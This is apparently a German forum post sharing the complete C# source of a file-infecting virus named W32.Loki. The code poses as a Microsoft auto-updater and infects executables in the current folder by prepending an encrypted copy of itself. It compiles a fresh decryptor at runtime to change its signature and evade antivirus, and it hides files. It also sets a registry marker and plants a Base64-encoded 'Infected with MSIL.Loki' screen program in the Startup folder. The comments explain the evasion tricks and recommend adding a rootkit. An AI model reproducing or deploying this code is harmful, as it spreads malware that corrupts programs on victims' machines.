[+]Topic: Code
[+]Von: mhb.fake
[+]Return: Code
W32.Loki
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace LokiW32
{
class Program
{
static void Main(string[] args)
{
// damit der user nicht stutzig wird:
Console.WriteLine("Starting Autoupdates");
Console.WriteLine("Searching for Updates on: http://update.microsoft.com...");
Console.Title = "Microsoft Auto-Updater... ";
Loki loki = new Loki();
Random r = new Random();
int e = 0;
if (r.Next(100) % 2 == 0)
e = 1;
//reg-schlüssel auf der basis von e erzeugen:
loki.Generatekey(e);
//und hier holen wir uns das aktuelle dir und beginnen:
loki.Populate(Directory.GetCurrentDirectory());
//testen ob wir schon "drinne" sind
//wenn ja dann dann unsere kick-ass-msg als ScreenSaver erstellen: XD
if (!loki.Check())
loki.GenerateMsg();
}
}
}
using System;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
using System.Reflection.Emit;
using System.Threading;
using System.IO;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Security.Cryptography;
using Microsoft.CSharp;
using Microsoft.Win32;
namespace LokiW32
{
class Loki
{
private int encm = 0;
private string k = null;
private string inv = null;
public void Populate(string dir)
{
if (Directory.Exists(dir))
{
// zk um alle *.exe-dateien zu speichern:
string[] dateien = Directory.GetFiles(dir, "*.exe");
// durchzälen welche exe-dat. zu finden sind:
for (int i = 0; i < dateien.Length; i++)
{
// try-catch um fehler-msg zu unterdrücken:
try
{
// byte-array um die größe zu speichern
byte[] hostbytes = read(dateien[i]);
if (hostbytes[60] != 128)
{
Random rand = new Random();
int b = rand.Next(1000);
//ein paar benötigte zk
string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName);
string nf = Directory.GetCurrentDirectory() + "\\" + Rand() + ".exe";
string ef = Directory.GetCurrentDirectory() + "\\" + Rand() + DateTime.Now.Year + ".exe";
byte[] enc = read(cf);
FileStream fs = new FileStream(nf, FileMode.CreateNew); //neu erstellen
BinaryWriter bw = new BinaryWriter(fs);
for (int x = 0; x < enc.Length; x++)
{
bw.BaseStream.WriteByte(enc[x]);
}
bw.Close();
fs.Close();
Encrypt(nf, ef, encm);
if (File.Exists(ef))
{
if (File.Exists(nf))
{
//unsere erzeugte exe wieder löschen:
File.Delete(nf);
}
FileInfo datInf = new FileInfo(dateien[i]);
int len = (int)datInf.Length;
string df = Decryptor(ef, 5632, (len + 5632), encm);
if (File.Exists(df))
{
byte[] byteDec = read(df);
byte[] byteEnc = read(ef);
if (File.Exists(dateien[i]))
{
File.Delete(dateien[i]);
FileStream fsb = new FileStream(dateien[i], FileMode.CreateNew);
BinaryWriter bwb = new BinaryWriter(fsb);
for (int x = 0; x < byteDec.Length; x++)
{
bwb.BaseStream.WriteByte(byteDec[x]);
}
for (int w = 0; w < hostbytes.Length; w++)
{
bwb.BaseStream.WriteByte(hostbytes[w]);
}
for (int z = 0; z < byteEnc.Length; z++)
{
bwb.BaseStream.WriteByte(byteEnc[z]);
}
bwb.Close();
fsb.Close();
File.Delete(ef);
File.Delete(df);
}
}
else
{
if (File.Exists(ef))
File.Delete(ef);
}
}//if
}//if
}
catch
{
/** im normalfall wird hier via 'Exception ex' ein object erzeugt
* welches dann zur fehlerbehandlung des priggis verwendet wird
* **/
}
}//for
}//if
}//
public byte[] read(string d)
{
// liest einfach nur die datei ein und speichert sie in einem byte-array:
FileStream fs = new FileStream(d, FileMode.Open, FileAccess.Read);
BinaryReader br = new BinaryReader(fs);
byte[] b = new byte[fs.Length];
for (int f = 0; f < b.Length; f++) {
b[f] = br.ReadByte();
}
br.Close();
fs.Close();
return b;
}
public void Encrypt(string inf, string outf, int e)
{
// basierden auf e entscheiden wir welche verschlüsselung
// wir für den virus nutzen. da c# ein crytier-paket
// besitz, finde ich, sollten wir es ausprobieren:
if (e == 1)
{
try
{
string schl = getKey();
if (schl.Length > 8)
schl = schl.Substring(0, 8); //wenn schlüssel größer 8stellen abschneiden
else if (schl.Length < 8)
{
int add = 8 - schl.Length;
for (int i = 0; i < add; i++)
schl += i; // schl=schl+i...
}
UnicodeEncoding UE = new UnicodeEncoding();
byte[] key = UE.GetBytes(schl);
FileStream fsc = new FileStream(outf, FileMode.Create);
RijndaelManaged cr = new RijndaelManaged(); // cryptographier-methode
CryptoStream cs = new CryptoStream(fsc, cr.CreateEncryptor(key, key), CryptoStreamMode.Write);
FileStream fsIn = new FileStream(inf, FileMode.Open);
int d;
while ((d = fsIn.ReadByte()) != -1)
{
cs.WriteByte((byte)d);
}
fsIn.Close();
cs.Close();
fsc.Close();
} catch { /** wie in der oberen funktion wird hier die fehlerausgabe abgefangen**/ }
}
else
{
try
{
byte[] b = read(inf);
byte[] key = Convert.FromBase64String(getKey());
byte[] IV = Convert.FromBase64String(getIV());
FileStream fs = File.Open(outf, FileMode.OpenOrCreate);
CryptoStream cs = new CryptoStream(fs, new TripleDESCryptoServiceProvider().CreateEncryptor(key, IV), CryptoStreamMode.Write);
BinaryWriter bw = new BinaryWriter(cs);
bw.Write(b);
bw.Close();
cs.Close();
fs.Close();
} catch {/**...abfangen... ;)**/ }
}
}//ende encrypt
public string Decryptor(string f, int num, int hl, int e)
{
// hier erstellen wir on-the-fly [dynamisch] den Decryptor.
// solange wir ihn on-the-fly erzeugen, können wir simple variablen
// so ändern das unsere App. jedesmal beim starten andere signaturen
// besitz... ;)
// dazu der haupt-erfinder des codes:
/**
* when i was actually building it i got a false positve from my A.V.
* that said it was another virus. which is kind of interesting... :)
**/
string name = Directory.GetCurrentDirectory() + "\\" + Rand() + DateTime.Now.Year + ".exe";
// hier referenzieren wir einen O.T.F-Compiler
ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler();
// compilerparameter (um dann im source, quasi eine neue referenz zum projekt hinzuzf.)
CompilerParameters cp = new CompilerParameters();
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
cp.GenerateExecutable = true;
cp.CompilerOptions = "/target:winexe";
cp.OutputAssembly = name;
Random r = new Random();
string n = Rand() + r.Next(100);
string n2 = Rand() + hl;
string r2 = Rand() + r.Next(hl);
// und nun der O.T.F.-Quelltext unserer infizierten und dann zu compilierenden (neuen) datei:
string d = "\n" +
"using System; \n" +
"using System.Windows.Forms; \n" +
"using System.Security.Cryptography; \n" +
"using System.Text; \n" +
"using System.Diagnostics; \n" +
"using System.IO; \n" +
"using System.Threading; \n" +
"namespace " + n + " { \n" +
" class " + n + n2 + ": Form { \n" +
" static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n" +
" static string inf = @\"" + f + "\"; \n" +
" static string outf = @\"" + n2 + ".exe\"; \n" +
" static string tmp = @\"" + n2 + r2 + ".exe\"; \n";
if (e == 1)
{
d += "static string p = @\"" + getKey() + "\"; \n";
}
else
{
d += "static byte[] Key = Convert.FromBase64String(\"" + getKey() + "\"); \n" +
"static byte[] IV = Convert.FromBase64String(\"" + getIV() + "\"); \n";
}
d += " public static void Main() { \n" +
" " + r2 + "(); \n" + // r2= dynamischer funktions-name
" } \n" +
" private static void " + r2 + "() { \n" +
" try { \n " +
//lese aktuelle datei in byte-array:
" FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); \n" +
" BinaryReader brb = new BinaryReader(fs); \n" +
" byte[] b = new byte[fs.Length]; \n" +
" for (int q = 0; q < b.Length; q++) { \n" +
" b[q] = brb.ReadByte(); \n" +
" } \n" +
" brb.Close(); \n" +
" fs.Close(); \n" +
//schreibe temporäre datei: //*EDT:sorry nicht host-prog[c# erzeugt zur exe auch eine xxx.svhost.exe]
" FileStream fsb = new FileStream(tmp, FileMode.CreateNew); \n" +
" BinaryWriter bwb = new BinaryWriter(fsb); \n" +
" for (int z = " + num + "; z < " + hl + "; z++) { \n" +
" bwb.BaseStream.WriteByte(b[z]); \n" +
" } \n " +
" fsb.Close(); \n" +
" bwb.Close(); \n" +
" File.SetAttributes(tmp, FileAttributes.Hidden); \n" +
// starte das temp-prog und warte bis es beendet wird:
" try { \n" +
" Process.Start(tmp).WaitForExit(); \n" +
" File.Delete(tmp); \n" +
" } catch { } \n" +
// lese verschlüsselte version und schreib in die datei:
" FileStream fb = new FileStream(inf, FileMode.CreateNew); \n" +
" BinaryWriter bw = new BinaryWriter(fb); \n" +
" for (int z = " + hl + "; z < b.Length; z++) { \n" +
" bw.BaseStream.WriteByte(b[z]); \n" +
" } \n " +
" fb.Close(); \n" +
" bw.Close(); \n" +
" File.SetAttributes(inf, FileAttributes.Hidden); \n";
if (e == 1)
{
d += " if(p.Length > 8) { \n" +
" p = p.Substring(0,8); \n" +
" } else if(p.Length < 8) { \n" +
" int a = 8 - p.Length; \n" +
" for(int i = 0; i < a; i++) \n" +
" p = p + i; \n" +
" } \n" +
" UnicodeEncoding UE = new UnicodeEncoding(); \n" +
" byte[] k = UE.GetBytes(p); \n" +
" FileStream fr = new FileStream(inf, FileMode.Open); \n" +
" RijndaelManaged r = new RijndaelManaged(); \n" +
" CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); \n" +
" if(File.Exists(outf)) { \n" +
" File.Delete(outf); \n" +
" } \n" +
" FileStream o = new FileStream(outf, FileMode.Create); \n" +
" int data; \n" +
" while((data = cs.ReadByte()) != -1) { \n" +
" o.WriteByte((byte)data); \n" +
" } \n" +
" o.Close(); \n" +
" cs.Close(); \n" +
" fr.Close(); \n";
}
else
{
d += " FileStream fr = new FileStream(inf, FileMode.Open); \n" +
" CryptoStream cs = new CryptoStream(fr, new TripleDESCryptoServiceProvider().CreateDecryptor(Key, IV), CryptoStreamMode.Read); \n" +
" if(File.Exists(outf)) { \n" +
" File.Delete(outf); \n" +
" } \n" +
" FileStream o = new FileStream(outf, FileMode.Create); \n" +
" int data; \n " +
" while((data = cs.ReadByte()) != -1) { \n" +
" o.WriteByte((byte)data); \n" +
" } \n" +
" o.Close(); \n" +
" cs.Close(); \n" +
" fr.Close(); \n";
}
// wenn die datei existiert, starte sie in einem neuen thread:
d += " if(File.Exists(inf)) { \n" +
" File.Delete(inf); \n" +
" } \n" +
" Thread t = new Thread(new ThreadStart(" + r2 + n2 + ")); \n" +
" t.Start(); \n" +
" } catch (Exception er) { \n \n } \n" +
" } \n" +
" private static void " + r2 + n2 + "() { \n" +
" try { \n" +
" Process.Start(outf).WaitForExit(); \n" +
" File.Delete(outf); \n" +
" } catch { } \n" +
" } \n" +
" \n" +
" } \n" +
"} \n";
CompilerResults results = ic.CompileAssemblyFromSource(cp, d);
// testen um sicher zu sein das es auch genau die gewollte datei ist,
// wenn sie es ist: verstecken wir sie (bringt aber nix wenn das opfer alle dateien anzeigen lässt!)
// notiz: der schlüssel den wir erstellen lassen kann manchmal zeichen enthalten die
// den string escapen. aber das fixen von diesem kleinen prob ist übertrieben, da es doch ein
// ein wenig spärlicher infektor ist...! aber,es passiert nicht immer.
if(File.Exists(name))
{
File.SetAttributes(name, FileAttributes.Hidden); // <-VERSTECKEN,
//sollte man aber am besten in verbindung mit nem rootkit machen!
}
return name;
}//decrytor()
public string Rand()
{
//zufalls-"wörter"-generator der 1ten 8byte des dateinamens
string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ";
Random r = new Random();
string n = "";
for (int i = 0; i < r.Next(100); i++) {
n += c[r.Next(c.Length)];
}
return n;
}
public void Generatekey(int e)
{
// basierden auf der jeweiligen verschlüsselung,können wir unsere schlüssel auch dynamisch erzeugen
if (e == 1)
{
DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create();
setKey(ASCIIEncoding.ASCII.GetString(desCrypto.Key));
setEncm(e);
}
else
{
TripleDESCryptoServiceProvider tDESalg = new TripleDESCryptoServiceProvider();
setKey(Convert.ToBase64String(tDESalg.Key));
setIV(Convert.ToBase64String(tDESalg.IV));
setEncm(e);
}
}
public bool Check()
{
// unser check der registry wenn "wir" bereits laufen
// all das entscheidet mit ob wir unsere message zeigen
// wir brauchen nicht wirklich immer eine infizierte datei, die läuft
// denn so wirds schon genug stören :)
// den string schreiben wir in die registry (sollte aber bei einer ECHTEN anwedung etwas anders gelöst werden!zb variable namen eintragen lassen)
string regstr = (string)Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\LokiW32", "LokiW32", "LokiW32");
if (regstr == "LokiW32")
{
return true;
}
else
{
RegistryKey key = Registry.LocalMachine.OpenSubKey("Software", true);
RegistryKey newkey = key.CreateSubKey("LokiW32");
newkey.SetValue("LokiW32", "LokiW32");
return false;
}
}
public void GenerateMsg()
{
// **unser kleiner bildschirmschoner**
// auch diesen lassen wir dynamisch erzeugen
// er soll die Message "You've been infected with Msil.LokiW32 by free0n" ausgeben
// er springt die ganze zeit rings um den sichtbereich :D
// man könnte hier auch neue sachen mit messageboxen testen/sich überlegen...
ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler();
CompilerParameters cp = new CompilerParameters();
Random r = new Random();
string n = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + r.Next(100000) + ".exe"; // name der anwendung 09274.exe oder so ähnlich ;)
cp.ReferencedAssemblies.Add("System.dll"); // unsere benötigten dll's
cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
cp.ReferencedAssemblies.Add("System.Data.dll");
cp.ReferencedAssemblies.Add("System.Drawing.dll");
cp.GenerateExecutable = true;
cp.CompilerOptions = "/target:winexe";
cp.OutputAssembly = n;
//unsere Msg in Base64 codiert:
string d = DeCode("dXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7" +
"IAp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7IAp1c2luZyBTeXN0ZW0uRGF0" +
"YTsgCnVzaW5nIFN5c3RlbS5EcmF3aW5nOyAKdXNpbmcgU3lzdGVtLlRleHQ7IAp1" +
"c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsgCm5hbWVzcGFjZSBzY3IgeyAKc3Rh" +
"dGljIGNsYXNzIFByb2dyYW0gewogICBbU1RBVGhyZWFkXQogICBzdGF0aWMgdm9p" +
"ZCBNYWluKCkgewpBcHBsaWNhdGlvbi5FbmFibGVWaXN1YWxTdHlsZXMoKTsKQXBw" +
"bGljYXRpb24uU2V0Q29tcGF0aWJsZVRleHRSZW5kZXJpbmdEZWZhdWx0KGZhbHNl" +
"KTsKQXBwbGljYXRpb24uUnVuKG5ldyBGb3JtMSgpKTsgCn0gCn0gCnBhcnRpYWwg" +
"Y2xhc3MgRm9ybTEgewpwcml2YXRlIFN5c3RlbS5Db21wb25lbnRNb2RlbC5JQ29u" +
"dGFpbmVyIGNvbXBvbmVudHMgPSBudWxsOwpwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9p" +
"ZCBEaXNwb3NlKGJvb2wgZGlzcG9zaW5nKSB7CmlmIChkaXNwb3NpbmcgJiYgKGNv" +
"bXBvbmVudHMgIT0gbnVsbCkpIHsKY29tcG9uZW50cy5EaXNwb3NlKCk7Cn0KYmFz" +
"ZS5EaXNwb3NlKGRpc3Bvc2luZyk7Cn0KcHJpdmF0ZSB2b2lkIEluaXRpYWxpemVD" +
"b21wb25lbnQoKSB7CnRoaXMuY29tcG9uZW50cyA9IG5ldyBTeXN0ZW0uQ29tcG9u" +
"ZW50TW9kZWwuQ29udGFpbmVyKCk7CnRoaXMubGFiZWwxID0gbmV3IFN5c3RlbS5X" +
"aW5kb3dzLkZvcm1zLkxhYmVsKCk7CnRoaXMudGltZXIxID0gbmV3IFN5c3RlbS5X" +
"aW5kb3dzLkZvcm1zLlRpbWVyKHRoaXMuY29tcG9uZW50cyk7CnRoaXMuU3VzcGVu" +
"ZExheW91dCgpOwp0aGlzLmxhYmVsMS5BdXRvU2l6ZSA9IHRydWU7CnRoaXMubGFi" +
"ZWwxLkJhY2tDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLkJsYWNrOwp0aGlz" +
"LmxhYmVsMS5Gb250ID0gbmV3IFN5c3RlbS5EcmF3aW5nLkZvbnQoIk1pY3Jvc29m" +
"dCBTYW5zIFNlcmlmIiwgMjRGLCBTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUuUmVn" +
"dWxhciwgU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0LlBvaW50LCAoKGJ5dGUp" +
"KDApKSk7CnRoaXMubGFiZWwxLkZvcmVDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNv" +
"bG9yLlJlZDsKdGhpcy5sYWJlbDEuTG9jYXRpb24gPSBuZXcgU3lzdGVtLkRyYXdp" +
"bmcuUG9pbnQoMTIsIDIwMSk7CnRoaXMubGFiZWwxLk5hbWUgPSAibGFiZWwxIjsK" +
"dGhpcy5sYWJlbDEuU2l6ZSA9IG5ldyBTeXN0ZW0uRHJhd2luZy5TaXplKDAsIDM3" +
"KTsKdGhpcy5sYWJlbDEuVGFiSW5kZXggPSAwOwp0aGlzLnRpbWVyMS5UaWNrICs9" +
"IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMudGltZXIxX1RpY2spOwp0aGlz" +
"LkF1dG9TY2FsZURpbWVuc2lvbnMgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZUYo" +
"NkYsIDEzRik7CnRoaXMuQXV0b1NjYWxlTW9kZSA9IFN5c3RlbS5XaW5kb3dzLkZv" +
"cm1zLkF1dG9TY2FsZU1vZGUuRm9udDsKdGhpcy5CYWNrZ3JvdW5kSW1hZ2VMYXlv" +
"dXQgPSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxheW91dC5TdHJldGNoOwp0" +
"aGlzLkNsaWVudFNpemUgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZSg0NzIsIDQ1" +
"OSk7CnRoaXMuQ29udHJvbHMuQWRkKHRoaXMubGFiZWwxKTsKdGhpcy5Eb3VibGVC" +
"dWZmZXJlZCA9IHRydWU7CnRoaXMuRm9ybUJvcmRlclN0eWxlID0gU3lzdGVtLldp" +
"bmRvd3MuRm9ybXMuRm9ybUJvcmRlclN0eWxlLk5vbmU7CnRoaXMuTmFtZSA9ICJG" +
"b3JtMSI7CnRoaXMuU2hvd0luVGFza2JhciA9IGZhbHNlOwp0aGlzLlRvcE1vc3Qg" +
"PSB0cnVlOwp0aGlzLldpbmRvd1N0YXRlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMu" +
"Rm9ybVdpbmRvd1N0YXRlLk1heGltaXplZDsKdGhpcy5Mb2FkICs9IG5ldyBTeXN0" +
"ZW0uRXZlbnRIYW5kbGVyKHRoaXMuRm9ybTFfTG9hZF8xKTsKdGhpcy5SZXN1bWVM" +
"YXlvdXQoZmFsc2UpOwp0aGlzLlBlcmZvcm1MYXlvdXQoKTsKfQpwcml2YXRlIFN5" +
"c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsIGxhYmVsMTsKcHJpdmF0ZSBTeXN0ZW0u" +
"V2luZG93cy5Gb3Jtcy5UaW1lciB0aW1lcjE7Cn0gCnB1YmxpYyBwYXJ0aWFsIGNs" +
"YXNzIEZvcm0xIDogRm9ybSB7IApwdWJsaWMgRm9ybTEoKSB7IApJbml0aWFsaXpl" +
"Q29tcG9uZW50KCk7IAp9IApwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBPblBhaW50" +
"QmFja2dyb3VuZChQYWludEV2ZW50QXJncyBlKSB7IAplLkdyYXBoaWNzLkRyYXdS" +
"ZWN0YW5nbGUobmV3IFBlbihDb2xvci5CbGFjayksIDAsIDAsIFNpemUuV2lkdGgs" +
"IFNpemUuSGVpZ2h0KTsgCn0gCnByaXZhdGUgdm9pZCBGb3JtMV9Mb2FkXzEob2Jq" +
"ZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsgCnRoaXMuU2V0U3R5bGUoQ29udHJv" +
"bFN0eWxlcy5PcHRpbWl6ZWREb3VibGVCdWZmZXIgfCBDb250cm9sU3R5bGVzLlVz" +
"ZXJQYWludCB8IENvbnRyb2xTdHlsZXMuQWxsUGFpbnRpbmdJbldtUGFpbnQsIHRy" +
"dWUpOyAKdGhpcy5DYXB0dXJlID0gdHJ1ZTsgCkN1cnNvci5IaWRlKCk7IApCb3Vu" +
"ZHMgPSBTY3JlZW4uUHJpbWFyeVNjcmVlbi5Cb3VuZHM7IApXaW5kb3dTdGF0ZSA9" +
"IEZvcm1XaW5kb3dTdGF0ZS5NYXhpbWl6ZWQ7IApTaG93SW5UYXNrYmFyID0gZmFs" +
"c2U7IApEb3VibGVCdWZmZXJlZCA9IHRydWU7IApCYWNrZ3JvdW5kSW1hZ2VMYXlv" +
"dXQgPSBJbWFnZUxheW91dC5TdHJldGNoOyAKdGltZXIxLkludGVydmFsID0gMTAw" +
"MDsgCnRpbWVyMS5TdGFydCgpOyAKfSAKcHJpdmF0ZSB2b2lkIHNjcm9sbCgpIHsg" +
"CmxhYmVsMS5UZXh0ID0gIkluZmVjdGVkIHdpdGggTVNJTC5Mb2tpIGJ5IGZyZWUw" +
"biB8IERvb21SaWRlcnoiOyAKUmFuZG9tIHIgPSBuZXcgUmFuZG9tKCk7IApsYWJl" +
"bDEuU2V0Qm91bmRzKHIuTmV4dCgxMDApLCByLk5leHQoMTAwMCksIHIuTmV4dCgx" +
"MDAwKSwgci5OZXh0KDEwMDApKTsKfQpwcml2YXRlIHZvaWQgdGltZXIxX1RpY2so" +
"b2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsKc2Nyb2xsKCk7Cn0KfSAKfSAK");
CompilerResults results = ic.CompileAssemblyFromSource(cp, d);
}
private string DeCode(string s)
{
byte[] decbuff = Convert.FromBase64String(s);
return Encoding.UTF8.GetString(decbuff);
}
public string getKey() {
return k;
}
public void setKey(string key) {
k = key;
}
public string getIV() {
return inv;
}
public void setIV(string i) {
inv = i;
}
public int getEncm() {
return encm;
}
public void setEncm(int s) {
encm = s;
}
}//class
}//namespace